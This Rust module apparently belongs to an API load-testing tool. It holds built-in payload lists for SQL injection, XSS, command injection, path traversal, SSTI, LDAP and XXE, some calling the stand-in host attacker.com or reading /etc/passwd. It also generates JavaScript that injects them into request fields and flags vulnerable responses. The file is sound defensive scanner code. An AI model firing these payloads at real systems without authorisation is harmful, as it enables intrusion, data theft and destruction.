1use crate::error::{BenchError, Result};
8use serde::{Deserialize, Serialize};
9use std::collections::HashSet;
10use std::path::Path;
11
12fn escape_js_string(s: &str) -> String {
19 let mut result = String::with_capacity(s.len() * 2);
20 for c in s.chars() {
21 match c {
22 '\\' => result.push_str("\\\\"),
23 '\'' => result.push_str("\\'"),
24 '"' => result.push_str("\\\""),
25 '`' => result.push_str("\\`"),
26 '\n' => result.push_str("\\n"),
27 '\r' => result.push_str("\\r"),
28 '\t' => result.push_str("\\t"),
29 '\0' => result.push_str("\\0"),
30 '\u{2028}' => result.push_str("\\u2028"),
32 '\u{2029}' => result.push_str("\\u2029"),
34 c if c.is_control() => {
36 result.push_str(&format!("\\u{:04x}", c as u32));
37 }
38 c => result.push(c),
39 }
40 }
41 result
42}
43
44#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
46#[serde(rename_all = "kebab-case")]
47pub enum SecurityCategory {
48 SqlInjection,
50 Xss,
52 CommandInjection,
54 PathTraversal,
56 Ssti,
58 LdapInjection,
60 Xxe,
62}
63
64impl std::fmt::Display for SecurityCategory {
65 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
66 match self {
67 Self::SqlInjection => write!(f, "sqli"),
68 Self::Xss => write!(f, "xss"),
69 Self::CommandInjection => write!(f, "command-injection"),
70 Self::PathTraversal => write!(f, "path-traversal"),
71 Self::Ssti => write!(f, "ssti"),
72 Self::LdapInjection => write!(f, "ldap-injection"),
73 Self::Xxe => write!(f, "xxe"),
74 }
75 }
76}
77
78impl std::str::FromStr for SecurityCategory {
79 type Err = String;
80
81 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
82 match s.to_lowercase().replace('_', "-").as_str() {
83 "sqli" | "sql-injection" | "sqlinjection" => Ok(Self::SqlInjection),
84 "xss" | "cross-site-scripting" => Ok(Self::Xss),
85 "command-injection" | "commandinjection" | "cmd" => Ok(Self::CommandInjection),
86 "path-traversal" | "pathtraversal" | "lfi" => Ok(Self::PathTraversal),
87 "ssti" | "template-injection" => Ok(Self::Ssti),
88 "ldap-injection" | "ldapinjection" | "ldap" => Ok(Self::LdapInjection),
89 "xxe" | "xml-external-entity" => Ok(Self::Xxe),
90 _ => Err(format!("Unknown security category: '{}'", s)),
91 }
92 }
93}
94
95#[derive(Debug, Clone, Serialize, Deserialize)]
97pub struct SecurityPayload {
98 pub payload: String,
100 pub category: SecurityCategory,
102 pub description: String,
104 pub high_risk: bool,
106}
107
108impl SecurityPayload {
109 pub fn new(payload: String, category: SecurityCategory, description: String) -> Self {
111 Self {
112 payload,
113 category,
114 description,
115 high_risk: false,
116 }
117 }
118
119 pub fn high_risk(mut self) -> Self {
121 self.high_risk = true;
122 self
123 }
124}
125
126#[derive(Debug, Clone, Serialize, Deserialize)]
128pub struct SecurityTestConfig {
129 pub enabled: bool,
131 pub categories: HashSet<SecurityCategory>,
133 pub target_fields: Vec<String>,
135 pub custom_payloads_file: Option<String>,
137 pub include_high_risk: bool,
139}
140
141impl Default for SecurityTestConfig {
142 fn default() -> Self {
143 let mut categories = HashSet::new();
144 categories.insert(SecurityCategory::SqlInjection);
145 categories.insert(SecurityCategory::Xss);
146
147 Self {
148 enabled: false,
149 categories,
150 target_fields: Vec::new(),
151 custom_payloads_file: None,
152 include_high_risk: false,
153 }
154 }
155}
156
157impl SecurityTestConfig {
158 pub fn enable(mut self) -> Self {
160 self.enabled = true;
161 self
162 }
163
164 pub fn with_categories(mut self, categories: HashSet<SecurityCategory>) -> Self {
166 self.categories = categories;
167 self
168 }
169
170 pub fn with_target_fields(mut self, fields: Vec<String>) -> Self {
172 self.target_fields = fields;
173 self
174 }
175
176 pub fn with_custom_payloads(mut self, path: String) -> Self {
178 self.custom_payloads_file = Some(path);
179 self
180 }
181
182 pub fn with_high_risk(mut self) -> Self {
184 self.include_high_risk = true;
185 self
186 }
187
188 pub fn parse_categories(s: &str) -> std::result::Result<HashSet<SecurityCategory>, String> {
190 if s.is_empty() {
191 return Ok(HashSet::new());
192 }
193
194 s.split(',').map(|c| c.trim().parse::<SecurityCategory>()).collect()
195 }
196}
197
198pub struct SecurityPayloads;
200
201impl SecurityPayloads {
202 pub fn sql_injection() -> Vec<SecurityPayload> {
204 vec![
205 SecurityPayload::new(
206 "' OR '1'='1".to_string(),
207 SecurityCategory::SqlInjection,
208 "Basic SQL injection tautology".to_string(),
209 ),
210 SecurityPayload::new(
211 "' OR '1'='1' --".to_string(),
212 SecurityCategory::SqlInjection,
213 "SQL injection with comment".to_string(),
214 ),
215 SecurityPayload::new(
216 "'; DROP TABLE users; --".to_string(),
217 SecurityCategory::SqlInjection,
218 "SQL injection table drop attempt".to_string(),
219 )
220 .high_risk(),
221 SecurityPayload::new(
222 "' UNION SELECT * FROM users --".to_string(),
223 SecurityCategory::SqlInjection,
224 "SQL injection union-based data extraction".to_string(),
225 ),
226 SecurityPayload::new(
227 "1' AND '1'='1".to_string(),
228 SecurityCategory::SqlInjection,
229 "SQL injection boolean-based blind".to_string(),
230 ),
231 SecurityPayload::new(
232 "1; WAITFOR DELAY '0:0:5' --".to_string(),
233 SecurityCategory::SqlInjection,
234 "SQL injection time-based blind (MSSQL)".to_string(),
235 ),
236 SecurityPayload::new(
237 "1' AND SLEEP(5) --".to_string(),
238 SecurityCategory::SqlInjection,
239 "SQL injection time-based blind (MySQL)".to_string(),
240 ),
241 ]
242 }
243
244 pub fn xss() -> Vec<SecurityPayload> {
246 vec![
247 SecurityPayload::new(
248 "<script>alert('XSS')</script>".to_string(),
249 SecurityCategory::Xss,
250 "Basic script tag XSS".to_string(),
251 ),
252 SecurityPayload::new(
253 "<img src=x onerror=alert('XSS')>".to_string(),
254 SecurityCategory::Xss,
255 "Image tag XSS with onerror".to_string(),
256 ),
257 SecurityPayload::new(
258 "<svg/onload=alert('XSS')>".to_string(),
259 SecurityCategory::Xss,
260 "SVG tag XSS with onload".to_string(),
261 ),
262 SecurityPayload::new(
263 "javascript:alert('XSS')".to_string(),
264 SecurityCategory::Xss,
265 "JavaScript protocol XSS".to_string(),
266 ),
267 SecurityPayload::new(
268 "<body onload=alert('XSS')>".to_string(),
269 SecurityCategory::Xss,
270 "Body tag XSS with onload".to_string(),
271 ),
272 SecurityPayload::new(
273 "'><script>alert(String.fromCharCode(88,83,83))</script>".to_string(),
274 SecurityCategory::Xss,
275 "XSS with character encoding".to_string(),
276 ),
277 SecurityPayload::new(
278 "<div style=\"background:url(javascript:alert('XSS'))\">".to_string(),
279 SecurityCategory::Xss,
280 "CSS-based XSS".to_string(),
281 ),
282 ]
283 }
284
285 pub fn command_injection() -> Vec<SecurityPayload> {
287 vec![
288 SecurityPayload::new(
289 "; ls -la".to_string(),
290 SecurityCategory::CommandInjection,
291 "Unix command injection with semicolon".to_string(),
292 ),
293 SecurityPayload::new(
294 "| cat /etc/passwd".to_string(),
295 SecurityCategory::CommandInjection,
296 "Unix command injection with pipe".to_string(),
297 )
298 .high_risk(),
299 SecurityPayload::new(
300 "$(cat /etc/passwd)".to_string(),
301 SecurityCategory::CommandInjection,
302 "Unix command substitution".to_string(),
303 )
304 .high_risk(),
305 SecurityPayload::new(
306 "`cat /etc/passwd`".to_string(),
307 SecurityCategory::CommandInjection,
308 "Unix backtick command execution".to_string(),
309 )
310 .high_risk(),
311 SecurityPayload::new(
312 "& dir".to_string(),
313 SecurityCategory::CommandInjection,
314 "Windows command injection".to_string(),
315 ),
316 SecurityPayload::new(
317 "|| ping -c 3 127.0.0.1".to_string(),
318 SecurityCategory::CommandInjection,
319 "Command injection with OR".to_string(),
320 ),
321 SecurityPayload::new(
322 "\n/bin/sh -c 'echo vulnerable'".to_string(),
323 SecurityCategory::CommandInjection,
324 "Newline-based command injection".to_string(),
325 ),
326 ]
327 }
328
329 pub fn path_traversal() -> Vec<SecurityPayload> {
331 vec![
332 SecurityPayload::new(
333 "../../../etc/passwd".to_string(),
334 SecurityCategory::PathTraversal,
335 "Basic path traversal".to_string(),
336 ),
337 SecurityPayload::new(
338 "..%2F..%2F..%2Fetc%2Fpasswd".to_string(),
339 SecurityCategory::PathTraversal,
340 "URL-encoded path traversal".to_string(),
341 ),
342 SecurityPayload::new(
343 "....//....//....//etc/passwd".to_string(),
344 SecurityCategory::PathTraversal,
345 "Double-dot path traversal bypass".to_string(),
346 ),
347 SecurityPayload::new(
348 "..%252f..%252f..%252fetc%252fpasswd".to_string(),
349 SecurityCategory::PathTraversal,
350 "Double URL-encoded path traversal".to_string(),
351 ),
352 SecurityPayload::new(
353 "/etc/passwd%00.jpg".to_string(),
354 SecurityCategory::PathTraversal,
355 "Null byte injection path traversal".to_string(),
356 ),
357 SecurityPayload::new(
358 "....\\....\\....\\windows\\system32\\config\\sam".to_string(),
359 SecurityCategory::PathTraversal,
360 "Windows path traversal".to_string(),
361 ),
362 ]
363 }
364
365 pub fn ssti() -> Vec<SecurityPayload> {
367 vec![
368 SecurityPayload::new(
369 "{{7*7}}".to_string(),
370 SecurityCategory::Ssti,
371 "Jinja2/Twig SSTI detection".to_string(),
372 ),
373 SecurityPayload::new(
374 "${7*7}".to_string(),
375 SecurityCategory::Ssti,
376 "Freemarker SSTI detection".to_string(),
377 ),
378 SecurityPayload::new(
379 "<%= 7*7 %>".to_string(),
380 SecurityCategory::Ssti,
381 "ERB SSTI detection".to_string(),
382 ),
383 SecurityPayload::new(
384 "#{7*7}".to_string(),
385 SecurityCategory::Ssti,
386 "Ruby SSTI detection".to_string(),
387 ),
388 ]
389 }
390
391 pub fn ldap_injection() -> Vec<SecurityPayload> {
393 vec![
394 SecurityPayload::new(
395 "*".to_string(),
396 SecurityCategory::LdapInjection,
397 "LDAP wildcard - match all".to_string(),
398 ),
399 SecurityPayload::new(
400 "*)(&".to_string(),
401 SecurityCategory::LdapInjection,
402 "LDAP filter injection - close and inject".to_string(),
403 ),
404 SecurityPayload::new(
405 "*)(uid=*))(|(uid=*".to_string(),
406 SecurityCategory::LdapInjection,
407 "LDAP OR injection to bypass auth".to_string(),
408 ),
409 SecurityPayload::new(
410 "admin)(&)".to_string(),
411 SecurityCategory::LdapInjection,
412 "LDAP always true injection".to_string(),
413 ),
414 SecurityPayload::new(
415 "x)(|(objectClass=*".to_string(),
416 SecurityCategory::LdapInjection,
417 "LDAP objectClass enumeration".to_string(),
418 ),
419 SecurityPayload::new(
420 "*)(cn=*".to_string(),
421 SecurityCategory::LdapInjection,
422 "LDAP CN attribute injection".to_string(),
423 ),
424 SecurityPayload::new(
425 "*)%00".to_string(),
426 SecurityCategory::LdapInjection,
427 "LDAP null byte injection".to_string(),
428 ),
429 SecurityPayload::new(
430 "*))%00".to_string(),
431 SecurityCategory::LdapInjection,
432 "LDAP double close with null byte".to_string(),
433 ),
434 ]
435 }
436
437 pub fn xxe() -> Vec<SecurityPayload> {
439 vec![
440 SecurityPayload::new(
441 r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
442 SecurityCategory::Xxe,
443 "Basic XXE - read /etc/passwd".to_string(),
444 ).high_risk(),
445 SecurityPayload::new(
446 r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]><foo>&xxe;</foo>"#.to_string(),
447 SecurityCategory::Xxe,
448 "Windows XXE - read win.ini".to_string(),
449 ).high_risk(),
450 SecurityPayload::new(
451 r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker.com/xxe">]><foo>&xxe;</foo>"#.to_string(),
452 SecurityCategory::Xxe,
453 "XXE SSRF - external request".to_string(),
454 ).high_risk(),
455 SecurityPayload::new(
456 r#"<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd">%xxe;]><foo>bar</foo>"#.to_string(),
457 SecurityCategory::Xxe,
458 "External DTD XXE".to_string(),
459 ).high_risk(),
460 SecurityPayload::new(
461 r#"<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>"#.to_string(),
462 SecurityCategory::Xxe,
463 "PHP expect XXE - command execution".to_string(),
464 ).high_risk(),
465 SecurityPayload::new(
466 r#"<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]><foo>&xxe;</foo>"#.to_string(),
467 SecurityCategory::Xxe,
468 "PHP filter XXE - base64 encoded read".to_string(),
469 ).high_risk(),
470 SecurityPayload::new(
471 r#"<!DOCTYPE foo [<!ENTITY % a "<!ENTITY % b SYSTEM 'file:///etc/passwd'>">%a;%b;]>"#.to_string(),
472 SecurityCategory::Xxe,
473 "Parameter entity XXE".to_string(),
474 ).high_risk(),
475 SecurityPayload::new(
476 r#"<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://attacker.com/xxe.dtd"><foo>&xxe;</foo>"#.to_string(),
477 SecurityCategory::Xxe,
478 "External DTD reference".to_string(),
479 ).high_risk(),
480 ]
481 }
482
483 pub fn get_by_category(category: SecurityCategory) -> Vec<SecurityPayload> {
485 match category {
486 SecurityCategory::SqlInjection => Self::sql_injection(),
487 SecurityCategory::Xss => Self::xss(),
488 SecurityCategory::CommandInjection => Self::command_injection(),
489 SecurityCategory::PathTraversal => Self::path_traversal(),
490 SecurityCategory::Ssti => Self::ssti(),
491 SecurityCategory::LdapInjection => Self::ldap_injection(),
492 SecurityCategory::Xxe => Self::xxe(),
493 }
494 }
495
496 pub fn get_payloads(config: &SecurityTestConfig) -> Vec<SecurityPayload> {
498 let mut payloads: Vec<SecurityPayload> =
499 config.categories.iter().flat_map(|c| Self::get_by_category(*c)).collect();
500
501 if !config.include_high_risk {
503 payloads.retain(|p| !p.high_risk);
504 }
505
506 payloads
507 }
508
509 pub fn load_custom_payloads(path: &Path) -> Result<Vec<SecurityPayload>> {
511 let content = std::fs::read_to_string(path)
512 .map_err(|e| BenchError::Other(format!("Failed to read payloads file: {}", e)))?;
513
514 serde_json::from_str(&content)
515 .map_err(|e| BenchError::Other(format!("Failed to parse payloads file: {}", e)))
516 }
517}
518
519pub struct SecurityTestGenerator;
521
522impl SecurityTestGenerator {
523 pub fn generate_payload_selection(payloads: &[SecurityPayload]) -> String {
525 let mut code = String::new();
526
527 code.push_str("// Security testing payloads\n");
528 code.push_str("const securityPayloads = [\n");
529
530 for payload in payloads {
531 let escaped = escape_js_string(&payload.payload);
533 let escaped_desc = escape_js_string(&payload.description);
534
535 code.push_str(&format!(
536 " {{ payload: '{}', category: '{}', description: '{}' }},\n",
537 escaped, payload.category, escaped_desc
538 ));
539 }
540
541 code.push_str("];\n\n");
542 code.push_str("// Select random security payload\n");
543 code.push_str("const securityPayload = securityPayloads[Math.floor(Math.random() * securityPayloads.length)];\n");
544
545 code
546 }
547
548 pub fn generate_apply_payload(target_fields: &[String]) -> String {
550 let mut code = String::new();
551
552 code.push_str("// Apply security payload to request\n");
553 code.push_str("function applySecurityPayload(payload, targetFields, secPayload) {\n");
554 code.push_str(" const result = { ...payload };\n");
555 code.push_str(" \n");
556
557 if target_fields.is_empty() {
558 code.push_str(" // No specific target fields - inject into first string field\n");
559 code.push_str(" for (const key of Object.keys(result)) {\n");
560 code.push_str(" if (typeof result[key] === 'string') {\n");
561 code.push_str(" result[key] = secPayload.payload;\n");
562 code.push_str(" break;\n");
563 code.push_str(" }\n");
564 code.push_str(" }\n");
565 } else {
566 code.push_str(" // Inject into specified target fields\n");
567 code.push_str(" for (const field of targetFields) {\n");
568 code.push_str(" if (result.hasOwnProperty(field)) {\n");
569 code.push_str(" result[field] = secPayload.payload;\n");
570 code.push_str(" }\n");
571 code.push_str(" }\n");
572 }
573
574 code.push_str(" \n");
575 code.push_str(" return result;\n");
576 code.push_str("}\n");
577
578 code
579 }
580
581 pub fn generate_security_checks() -> String {
583 r#"// Security test response checks
584function checkSecurityResponse(res, expectedVulnerable) {
585 // Check for common vulnerability indicators
586 const body = res.body || '';
587
588 const vulnerabilityIndicators = [
589 // SQL injection
590 'SQL syntax',
591 'mysql_fetch',
592 'ORA-',
593 'PostgreSQL',
594
595 // Command injection
596 'root:',
597 '/bin/',
598 'uid=',
599
600 // Path traversal
601 '[extensions]',
602 'passwd',
603
604 // XSS (reflected)
605 '<script>alert',
606 'onerror=',
607
608 // Error disclosure
609 'stack trace',
610 'Exception',
611 'Error in',
612 ];
613
614 const foundIndicator = vulnerabilityIndicators.some(ind =>
615 body.toLowerCase().includes(ind.toLowerCase())
616 );
617
618 if (foundIndicator) {
619 console.warn(`POTENTIAL VULNERABILITY: ${securityPayload.description}`);
620 console.warn(`Category: ${securityPayload.category}`);
621 console.warn(`Status: ${res.status}`);
622 }
623
624 return check(res, {
625 'security test: no obvious vulnerability': () => !foundIndicator,
626 'security test: proper error handling': (r) => r.status < 500,
627 });
628}
629"#
630 .to_string()
631 }
632}
633
634#[cfg(test)]
635mod tests {
636 use super::*;
637 use std::str::FromStr;
638
639 #[test]
640 fn test_security_category_display() {
641 assert_eq!(SecurityCategory::SqlInjection.to_string(), "sqli");
642 assert_eq!(SecurityCategory::Xss.to_string(), "xss");
643 assert_eq!(SecurityCategory::CommandInjection.to_string(), "command-injection");
644 assert_eq!(SecurityCategory::PathTraversal.to_string(), "path-traversal");
645 }
646
647 #[test]
648 fn test_security_category_from_str() {
649 assert_eq!(SecurityCategory::from_str("sqli").unwrap(), SecurityCategory::SqlInjection);
650 assert_eq!(
651 SecurityCategory::from_str("sql-injection").unwrap(),
652 SecurityCategory::SqlInjection
653 );
654 assert_eq!(SecurityCategory::from_str("xss").unwrap(), SecurityCategory::Xss);
655 assert_eq!(
656 SecurityCategory::from_str("command-injection").unwrap(),
657 SecurityCategory::CommandInjection
658 );
659 }
660
661 #[test]
662 fn test_security_category_from_str_invalid() {
663 assert!(SecurityCategory::from_str("invalid").is_err());
664 }
665
666 #[test]
667 fn test_security_test_config_default() {
668 let config = SecurityTestConfig::default();
669 assert!(!config.enabled);
670 assert!(config.categories.contains(&SecurityCategory::SqlInjection));
671 assert!(config.categories.contains(&SecurityCategory::Xss));
672 assert!(!config.include_high_risk);
673 }
674
675 #[test]
676 fn test_security_test_config_builders() {
677 let mut categories = HashSet::new();
678 categories.insert(SecurityCategory::CommandInjection);
679
680 let config = SecurityTestConfig::default()
681 .enable()
682 .with_categories(categories)
683 .with_target_fields(vec!["name".to_string()])
684 .with_high_risk();
685
686 assert!(config.enabled);
687 assert!(config.categories.contains(&SecurityCategory::CommandInjection));
688 assert!(!config.categories.contains(&SecurityCategory::SqlInjection));
689 assert_eq!(config.target_fields, vec!["name"]);
690 assert!(config.include_high_risk);
691 }
692
693 #[test]
694 fn test_parse_categories() {
695 let categories = SecurityTestConfig::parse_categories("sqli,xss,path-traversal").unwrap();
696 assert_eq!(categories.len(), 3);
697 assert!(categories.contains(&SecurityCategory::SqlInjection));
698 assert!(categories.contains(&SecurityCategory::Xss));
699 assert!(categories.contains(&SecurityCategory::PathTraversal));
700 }
701
702 #[test]
703 fn test_sql_injection_payloads() {
704 let payloads = SecurityPayloads::sql_injection();
705 assert!(!payloads.is_empty());
706 assert!(payloads.iter().all(|p| p.category == SecurityCategory::SqlInjection));
707 assert!(payloads.iter().any(|p| p.payload.contains("OR")));
708 }
709
710 #[test]
711 fn test_xss_payloads() {
712 let payloads = SecurityPayloads::xss();
713 assert!(!payloads.is_empty());
714 assert!(payloads.iter().all(|p| p.category == SecurityCategory::Xss));
715 assert!(payloads.iter().any(|p| p.payload.contains("<script>")));
716 }
717
718 #[test]
719 fn test_command_injection_payloads() {
720 let payloads = SecurityPayloads::command_injection();
721 assert!(!payloads.is_empty());
722 assert!(payloads.iter().all(|p| p.category == SecurityCategory::CommandInjection));
723 }
724
725 #[test]
726 fn test_path_traversal_payloads() {
727 let payloads = SecurityPayloads::path_traversal();
728 assert!(!payloads.is_empty());
729 assert!(payloads.iter().all(|p| p.category == SecurityCategory::PathTraversal));
730 assert!(payloads.iter().any(|p| p.payload.contains("..")));
731 }
732
733 #[test]
734 fn test_get_payloads_filters_high_risk() {
735 let config = SecurityTestConfig::default();
736 let payloads = SecurityPayloads::get_payloads(&config);
737
738 assert!(payloads.iter().all(|p| !p.high_risk));
740 }
741
742 #[test]
743 fn test_get_payloads_includes_high_risk() {
744 let config = SecurityTestConfig::default().with_high_risk();
745 let payloads = SecurityPayloads::get_payloads(&config);
746
747 assert!(payloads.iter().any(|p| p.high_risk));
749 }
750
751 #[test]
752 fn test_generate_payload_selection() {
753 let payloads = vec![SecurityPayload::new(
754 "' OR '1'='1".to_string(),
755 SecurityCategory::SqlInjection,
756 "Basic SQLi".to_string(),
757 )];
758
759 let code = SecurityTestGenerator::generate_payload_selection(&payloads);
760 assert!(code.contains("securityPayloads"));
761 assert!(code.contains("OR"));
762 assert!(code.contains("Math.random()"));
763 }
764
765 #[test]
766 fn test_generate_apply_payload_no_targets() {
767 let code = SecurityTestGenerator::generate_apply_payload(&[]);
768 assert!(code.contains("applySecurityPayload"));
769 assert!(code.contains("first string field"));
770 }
771
772 #[test]
773 fn test_generate_apply_payload_with_targets() {
774 let code = SecurityTestGenerator::generate_apply_payload(&["name".to_string()]);
775 assert!(code.contains("applySecurityPayload"));
776 assert!(code.contains("target fields"));
777 }
778
779 #[test]
780 fn test_generate_security_checks() {
781 let code = SecurityTestGenerator::generate_security_checks();
782 assert!(code.contains("checkSecurityResponse"));
783 assert!(code.contains("vulnerabilityIndicators"));
784 assert!(code.contains("POTENTIAL VULNERABILITY"));
785 }
786
787 #[test]
788 fn test_payload_escaping() {
789 let payloads = vec![SecurityPayload::new(
790 "'; DROP TABLE users; --".to_string(),
791 SecurityCategory::SqlInjection,
792 "Drop table".to_string(),
793 )];
794
795 let code = SecurityTestGenerator::generate_payload_selection(&payloads);
796 assert!(code.contains("\\'"));
798 }
799}